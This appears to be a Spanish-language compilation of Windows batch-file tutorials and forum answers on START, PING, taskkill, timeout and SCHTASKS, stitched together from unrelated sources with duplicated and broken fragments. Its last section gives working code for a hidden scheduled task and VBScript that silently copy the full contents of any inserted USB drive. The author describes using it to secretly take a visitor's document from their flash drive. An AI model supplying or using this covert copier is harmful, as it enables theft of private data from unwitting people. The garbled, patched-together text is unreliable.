Vous êtes sur la page 1sur 15

START = Sirve para abrir cualquier cosa, desde una pagina web, hasta otro batch, hasta

un .pdf. Para elejir de donde se abre el archivo(o lo que sea) ponemos /d seguido del
directorio. /MIN y /MAX se usan para abrir la ventana minimizada o maximizada,
respectivamente. Tambien podes hacer que se abra con diferentes prioridades, a mayor
prioridad mayor sera el consumo de tu compu, pero andara mas rapido(solamente el
programa lo demas mas lento si no te da la compu). Las prioridades son estas, de menor
prioridad a mayor: /LOW(bajo), /BELOWNORMAL(debajo de lo normal),
/NORMAL,/ABOVENORMAL(por ensima de lo normal), /HIGH(alto) y
/REALTIME(tiempo real). Tambien podemos hacer que nuestro archivo batch se
paralize hasta que lo que abrimos no se cierre, esto se logra ingresando /wait a nuestro
comando. Tambien podemos abrir un archivo batch y pasarles parametros, esto se ve a
fondo en el capitulo 9.

Ejemplo:

@echo off

start /d "C:Batchesun batch loco.bat" /max /abovenormal

start /d "C:Archivos de programaMozilla Firefox" firefox.exe /min /realtime

start google.com

start www.google.com /max

7.B Pingear

PING = Sirve para hacer uno o mas pings a una pagina web, direccion IP o una compu
de la red local. Se le agrega -n x para que pingee x veces la direccion. Si queres que sea
infinitamente hasta que vos lo pares(apretando ctrl+c) usa -t, y si queres ver las
estadisticas y seguir con el pingeo es ctrl+inter. Podes usar /l x para aumentar el tamaño
de los paquetes que predeterminadamente esta en 32(todo en bytes). Tambien podes
cambiarle el TTL(TimeToLive, tiempo de vida) de los paquetes, de 1 a 255,
predeterminadamente 128, con el sufijo -i x.

Ejemplo:

1)

@echo off

ping -n 7 /l 510 -i 150 google.com

ping -n 7 /l 510 -i 150 66.59.120.1

pause
2)

@echo off

echo hola!

ping -n 4 localhost >nul

echo como estas?

pause

echo chupala

exit

Ruta donde se encuentra el IEXPLORE.EXE entre comillas dobles y depués de las comillas, la
ruta de tu web.

Ejemplo:
"C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE" www.maestrosdelweb.com

Para saber la ruta del Internet Explorer, le das botón derecho del mouse sobre el icono y en las
propiedades te va a dar la ruta.

Curiosidad... ¿Porqué lo queres hacer con un archivo bat?

Una forma es utilizar el comando AT 12:00 start archivo.bat

Otra opcion aunque quizas no la más estetica seria la siguiente:

@ECHO OFF

bucle:
Ping -n 30 127.0.0.1 > nul
start C:/archivo.bat
goto bucle

Nota: Solo cambia el valor de -n para el valor de segundos en los que quieres hacer
determinada pausa hacia la siguiente ejecución de tu archivo.
1. @echo off
2. title Cerrar Programa - by Mytnick
3. color 03
4. start hora.bat
5. mode con cols=75
6. mode con lines=5
7. :prog
8. cls
9. echo.
10. set /p variable2= Nombre exacto del Programa a cerrar :
11. :clock
12. echo.
13. set /p variable= Introduzca hora :
14. if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
15. :1
16. taskkill /s 127.0.0.1 /f /im %variable2%
17. goto ok
18. :2
19. cls
20. echo.
21. echo.
22. if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
23. goto 2
24. :ok
25. cls
26. echo.
27. echo Programa cerrado!!
28. sleep 5
29. goto prog

1. @echo off
2. title * Hora *
3. color 0b
4. mode con cols=16
5. mode con lines=5
6. :clock
7. sleep 1
8. cls
9. echo.
10. echo %time:~0,5%:%time:~6,2%
11. echo.
12. echo %date%
13. goto clock

1. @echo off
2. title Cerrar Programa - by Mytnick
3. color 03
4. hora.bat
5. mode con cols=75
6. mode con lines=5
7. :prog
8. cls
9. echo.
10. set /p variable2= Nombre exacto del Programa a cerrar :
11. :clock
12. echo.
13. set /p variable= Introduzca hora :
14. if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
15. :1
16. taskkill /s 127.0.0.1 /f /im %variable2%
17. goto ok
18. :2
19. cls
20. echo.
21. echo.
22. if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
23. goto 2
24. :ok
25. cls
26. echo.
27. echo Programa cerrado!!
28. sleep 5
29. goto prog

@echo off
title Cerrar Programa - by Mytnick
color 03
hora.bat
mode con cols=75
mode con lines=5
:prog
cls
echo.
set /p variable2= wmplayer.exe*32 :
:15:46
echo.
set /p variable= Introduzca hora :
if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
:1
taskkill /s 127.0.0.1 /f /im %variable2%
goto ok
:2
cls
echo.
echo.
if %time:~0,5%:%time:~6,2% == %variable% (goto 1) else goto 2
goto 2
:ok
cls
echo.
echo Programa cerrado!!
sleep 5
goto prog

Me gustaría que el .bat cierre el proceso pause 3 segundos y vuelva a arrancarlo,así me evitaría
eso cierres imprevistos y le daría cierta funcionalidad a los equipos,sin tener que estar
pendiente de si este se cierra solo o no.

De momento tengo lo siguiente:

@echo off
taskkill /F /im OrionToCSH.exe
pause 3
"C:\Program Files\OrionToCSH\OrionToCSH.exe"

Hola, efectivamente, pause te va a pedir la pulsación de una tecla si o si.

Hay un truco que consiste en hacer un ping con tiempo de espera (parámetro -w) en
milisegundos:

ping 127.0.0.1 -n 1 -w 3000 >NUL


El 3000 son milisegundos, es decir, 3 segundos.

Es lo mas sencillo y efectivo.

Lo que puedes hacer es crear un 'delay' o retraso antes de ejecutar el taskkill.

Para hacer un 'delay' puedes utilizar el comando timeout (time) o timeout /T


(time). Donde (time) es el tiempo de espera antes de seguir con el siguiente comando.

El único incoveniente es que timeout genera un texto por defecto con la cantidad de
tiempo antes de seguir:

Waiting for 10 seconds, press a key to continue...

Si quieres ocultar esto, simplemente añade > nul al final del comando. Quedaría así:

timeout /T 5 > nul

o bien

timeout 5 > nul

compartirmejorar esta respuesta


editada el 29 ene. a las 17:35

Raul Cacacho
2,10861225
respondida el 7 ene. 18 a las 5:09

C. Rodriguez
1,5481515

 Exelente, ya lo probé! Es ideal este comando! Muchas gracias. – Sunny el 7 ene.


18 a las 14:45

añade un comentario
0

Saludos, Sunny.

Si estas lanzando el comando y quieres que espere un poco, una opción, poco elegante,
es concatenar el comando taskkill con un comando que provoque un delay sin afectar.
Un ejemplo podría ser

taskkill /pid 1230 && ping 127.0.0.1 -n 6 > nul

Como usar el comando START en


Windows, sus aplicaciones prácticas

Como utilizar START en archivos batch para iniciar otros comandos, programas,
aplicaciones, abrir documentos y carpetas en el explorador. Combinar varias acciones
en un solo archivo ejecutable. Planificar y ejecutar distintas tareas usando la línea de
comandos. Códigos y ejemplos prácticos para copiar y pegar.

El comando START es de utilidad para todos los que les guste crear sus propias
aplicaciones ejecutables (archivos batch) que puedan usar para facilitar la ejecución de
una infinidad de tareas.
Solo se necesita un poco de imaginación para comprender todo lo que podemos
automatizar.
En el artículo se incluyen algunos ejemplos prácticos que espero estimulen a nuestros
lectores aficionados a la línea de comandos.
START ejecuta e inicia programas, aplicaciones u otros comandos en Windows.
Es decir se pueden iniciar programas instalados, aplicaciones incluidas en Windows,
abrir directorios o carpetas en el explorador, abrir documentos y otros archivos con el
programa predeterminado y encadenar otros comandos o archivos batch creados
previamente.
Utilizar el comando START en Windows

START lógicamente se puede ejecutar en la consola de CMD o Símbolo del sistema, pero su uso
más frecuente y práctico es en los archivos batch.
Se utiliza de la siguiente forma:

START "Titulo" /OPCIONES COMANDO O PROGRAMA parámetros del programa

Por ejemplo, para hacer PING a un sitio web (comprobar la conectividad) en la consola de CMD
usamos:

START PING norfipc.com

En un archivo batch podemos hacer lo mismo usando START, pero adicionalmente hacer que
se ejecute el comando cada cierto intervalo de tiempo, en este ejemplo cada 20 segundos.

@ECHO OFF
:start
START /B ping norfipc.com
cls
timeout /nobreak 20
goto start

Parámetros y opciones del comando START

A continuación mostramos los parámetros más empleados en la práctica con START

Es el nombre de la ventana, es opcional usarlo, aunque necesario en algunos casos


"Titulo"
como se muestra en los ejemplos.

Ruta en el explorador para abrir una carpeta o directorio. Si contiene espacios


/D ruta
debe encerrarse entre comillas.

/B Inicia la aplicación sin crear una nueva ventana.

Inicia una aplicación y esperar a que finalice el comando o programa antes de


/WAIT
seguir con la siguiente instrucción.

/MIN Inicia la ventana minimizada en la barra de tareas.

/MAX Inicia la ventana maximizada (valor predeterminado)

/SEPARATE Inicia un programa de Windows de 16 bits en un espacio de memoria separado.


Ofrece más estabilidad.

Inicia un programa de Windows de 16 bits en un espacio de memoria compartido.


/SHARED
Es la opción predeterminada.

✓ Se puede incluir en la ruta archivos que no son ejecutables. Se abrirán con el programa
predeterminado en la asociación de archivos de Windows.
Por ejemplo ARCHIVO.DOC se abrirá con Word si está instalado, sino con WordPad.
✓ Cuando se ejecuta un programa que tiene una interface gráfica, no se espera a que termine
completamente de cargar, se continúan las otras instrucciones si existen.

Para ver todas las opciones posibles del comando introduce en la consola: "START
/?>%userprofile%/Desktop/uso-powercfg.txt " y presiona la tecla Enter, para crear un archivo
de texto en el escritorio con el listado.

Ejemplos prácticos del uso de START

Los códigos de ejemplos son para crear archivos batch, aunque cualquiera instrucción se
puede introducir en la consola de CMD.
Solo es necesario copiarlos al Bloc de notas y guardar el archivo con cualquier nombre, pero
con la extensión .CMD

Si al final de ellos se agrega la línea: PAUSE, se puede conocer si existe cualquier error al
ejecutarlos.
1- Se carga el sitio NorfiPC en el navegador predeterminado.

@ECHO OFF
START http://norfipc.com/

2- Se carga el sitio NorfiPC en el navegador Google Chrome, si está instalado.

@ECHO OFF
START chrome.exe http://norfipc.com/

3- Se carga el sitio NorfiPC en el navegador Firefox, si está instalado.

@ECHO OFF
START firefox.exe http://norfipc.com/

4- Se cargan tres sitios web diferentes al mismo tiempo en tres pestañas del navegador.

@ECHO OFF
START http://sitio-web1
START http://sitio-web2
START http://sitio-web3

5- Se cargan tres sitios web diferentes, pero se espera 6 segundos antes de cargar el siguiente
en cada caso.

@ECHO OFF
START http://sitio-web1
timeout /nobreak 06
START http://sitio-web2
timeout /nobreak 06
START http://sitio-web3

6- Se comienza la descarga de un archivo desde un sitio web cuya dirección URL se conoce y se
abre la ventana de la carpeta de Descargas.

@ECHO OFF
START http://sitio-web/descargas/archivo.zip
START %userprofile%\Downloads
%userprofile% es una variable de entorno.
Indica en Windows la carpeta "C:\Users\Nombre del usuario", que en todos los equipos
lógicamente, tiene un nombre diferente.
Facilita que un archivo batch se pueda ejecutar en cualquier equipo.
Lee más información: Las variables de entorno de Windows y sus usos prácticos

7- Se inicia el programa Paint y se abre una carpeta de fotos en la unidad D.


Es necesario encerrar la ruta entre comillas ya que incluye un espacio.
La carpeta se abre minimizada en este caso.
Es necesario usar dos comillas después del nombre del comando, para que no existan
conflictos al tratar de interpretar la RUTA como el TITULO.

@ECHO OFF
START mspaint.exe
START "" "D:\Pictures\Fotos lindas"

8- Se inicia una presentación de diapositivas llamada: Mi Presentacion.pps que está en la


carpeta "Mis documentos"

@ECHO OFF
START "" "%USERPROFILE%\Documents\Mi Presentacion.pps"

9- Inicia el Liberador de espacio en disco en la unidad D y después que finalice entonces inicia
el Desfragmentador de disco en dicha unidad, mostrando todas las operaciones realizadas.

@ECHO OFF
START /WAIT CLEANMGR /D D:
START DEFRAG D: /U
Algunos comandos como DEFRAG requieren que el archivo batch se ejecute con permisos de
administrador.

10- Copia con ROBOCOPY las fotos en la unidad H a la carpeta Fotos en la unidad D.
Al finalizar abre la carpeta para comprobar que las fotos han sido copiadas.
Copia el contenido de dicha carpeta a la carpeta Fotos en la unidad G.
Al finalizar abre dicha carpeta.

@ECHO OFF
START "" /WAIT ROBOCOPY "H:\Fotos Lindas" D:\Fotos /E
START D:\Fotos
START /WAIT ROBOCOPY D:\Fotos G:\Fotos /E
START G:\Fotos

Lo que puedes hacer es crear un 'delay' o retraso antes de ejecutar el taskkill.

Para hacer un 'delay' puedes utilizar el comando timeout (time) o timeout /T


(time). Donde (time) es el tiempo de espera antes de seguir con el siguiente comando.

El único incoveniente es que timeout genera un texto por defecto con la cantidad de
tiempo antes de seguir:

Waiting for 10 seconds, press a key to continue...

Si quieres ocultar esto, simplemente añade > nul al final del comando. Quedaría así:
timeout /T 5 > nul

o bien

timeout 5 > nul

Saludos, Sunny.

Si estas lanzando el comando y quieres que espere un poco, una opción, poco elegante,
es concatenar el comando taskkill con un comando que provoque un delay sin afectar.

Un ejemplo podría ser

taskkill /pid 1230 && ping 127.0.0.1 -n 6 > nul


compartirmejorar esta respuesta
respondida el 7 ene. 18 a las 5:14

Luis Serra
12
añade un comentario
-1

También puedes usar schtask o at (en desuso), además del timeout /t * /nobreak

Para hacer esperar en bat suele usarse el comando ping (por que tarda 1 segundo por
cada iteración). Ejemplo:

@echo off
echo 1
PING localhost -n 2
echo 2
PING localhost -n 2
echo 3
pause

Puedes hacer con el comando shutdown. Ejecutando help shutdown, puedes ver todas
las opciones que hay (no son pocas).

En el propio tutorial tienes ejemplos:

shutdown -s -t 60 (tiempo en segundos) -c Apagando dentro de 60s...


Abrir varios programas al mismo tiempo
en Windows
En otras oportunidades he mencionado a los archivos .BAT para realizar algunas tareas
en Windows, como el encendido automático del equipo. En esta oportunidad explicaré
cómo utilizarlos para realizar una tarea que puede resultar bastante práctica, abrir varios
programas al mismo tiempo por medio de un doble clic.

Como los archivos .bat ejecutan las órdenes en secuencia, es posible crear un archivo
con varias sentencias que inicien aplicaciones diferentes. Por ejemplo, si deseas abrir
Firefox, Windows Live Messenger y TweetDeck, el archivo .bat debería contener la
siguiente información:

START /D “C:\Archivos de Programa\Mozilla Firefox” firefox.exe


START /D “C:\Archivos de Programa\Windows Live\Messenger” msnmsgr.exe
START /D “C:\Archivos de Programa\TweetDeck” tweetdeck.exe

El comando START es el encargado de iniciar las aplicaciones y la opción /D hace


referencia a la ruta que se debe leer. Escribiendo start /? en la consola de Windows
(Ejecutar/cmd.exe), puedes ver todas las opciones disponibles para el comando.

Abrir una página web con Firefox desde la línea de comandos o usando archivos batch

Es posible abrir una página web determinada con Firefox aunque no sea tu navegador
predeterminado.
Para eso utiliza la siguiente función desde la consola de CMD o un archivo batch.
start firefox dirección web.
Sustituye dirección web por la dirección url que deseas abrir, por ejemplo:
start firefox http://norfipc.com/
Si utilizas un archivo batch puedes crear varias líneas con diferentes direcciones url, en ese
caso se abrirá cada dirección en una nueva pestaña del navegador.

Abrir páginas web con Firefox utilizando un script

Lo anterior también es posible de realizar utilizando un script hecho en el lenguaje VBScript,


para eso copia el siguiente código a un archivo de texto y guárdalo con cualquier nombre, pero
que tenga la extensión de archivo .vbs.

Set open = CreateObject("Wscript.Shell")


open.Run "firefox http://norfipc.com"
Utilizar el comando SCHTASKS para programar tareas

El comando SCHTASKS es creado para programar tareas en el equipo, con opciones más
avanzadas de lo que permite el anterior comando AT, que todavía es posible de utilizar, pero
solo en tareas sencillas.
SCHTASKS lista, crea, elimina o permite editar tareas programadas en el equipo.
Al usarlo sin parámetros muestra todas las tareas programadas en la PC, algunas que ni
tenemos idea ya que las ordenan aplicaciones o el propio sistema sin enterarnos.
Usándolo con la opción /CREATE podemos planificar una acción, que es lo que se ordena en el
siguiente archivo batch, ejecutar el script start.vbs cada 3 minutos.

Usos prácticos del comando SCHTASKS

El siguiente batch hubo necesidad de crearlo y probarlo en solo cinco minutos, en una
emergencia real de un caso de una persona allegada que esperaba a alguien (conocedor de
informática y difícil de distraer), que venía a hacer una labor en su PC y tenía en su memoria
flash un documento que le era muy necesario, pero que no iba a poder estar cerca ni en los
alrededores de dicha PC.
En este caso se utiliza el siguiente batch llamado "run.cmd"

@echo off
SCHTASKS /create /SC MINUTE /MO 3 /tn copiar /TR C:\Hide\start.vbs
El archivo batch run.cmd ejecuta el comando SCHTASKS que crea una tarea programada para
ejecutarse cada 3 minutos.
Dicha tarea es ejecutar el script start.vbs, el cual a su vez ejecuta de forma oculta el batch
FLASHCopy.cmd que verifica si existe algún dispositivo extraíble conectado y si es así copia
todo su contenido de manera imperceptible a la carpeta D:\COPIA.
Codigo del archivo "start.vbs"

set objshell = createobject("wscript.shell")


objshell.run "C:\Hide\FLASHCopy.cmd",vbhide
Codigo del archivo batch "FLASHCopy.cmd"

:: (c) Norfipc 2010 - http://norfipc.com


@ECHO OFF
set tiempo=%time:~0,5%
set tiempo=%tiempo::=-%
set fecha=%date:~0%
set fecha=%fecha:/=-%
set file=%fecha% %tiempo%
echo %file%
set ruta="D:\COPIA\%file%"
mkdir %ruta%
MOUNTVOL /R
FOR /F "tokens=2 delims=\ " %%A IN ('REG Query
"HKLM\SYSTEM\MountedDevices" /v "\DosDevices\*" ^| FINDSTR /R /E /C:"
5F[0-9A-F]*"') DO ROBOCOPY %%A\ %ruta% /NODD /V /MIR /R:0 /W:0 /ETA
Las opciones usadas en este caso con SCHTASKS son las siguientes:
/SC MINUTE = Frecuencia de la programación
/MO Número de minutos
/tn = Nombre de la tarea
/TR = Ruta de acceso y el nombre de archivo del programa que se va a ejecutar

Para usarlo copia la carpeta Hide a la unidad C.


Utilízalo con precaución Crea un archivo un batch llamado detener_tarea para detener y
eliminar la tarea creada, si no es así el script se mantendrá ejecutándose aunque reinicies el
sistema y poco a poco te llenará el disco duro de datos que capture en las memorias o
cualquier dispositivo USB insertado.
Codigo del archivo batch "detener_tarea.cmd"

:: (c) Norfipc 2010 - http://norfipc.com


@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /tn copiar /delete
Puedes usar los siguientes comandos en la consola de CMD para verificar manualmente si la
tarea se está ejecutando, para detenerla y eliminarla en ese mismo orden.

SCHTASKS /query /tn copiar


SCHTASKS /tn copiar /End
SCHTASKS /tn copiar /delete

Lee más información sobre el empleo de los scripts escritos en lenguaje VBScript en Windows
en tareas y usos prácticos. Copia el código y crea tus propias aplicaciones: Códigos para crear
aplicaciones en VBScript para usar en Windows

Vous aimerez peut-être aussi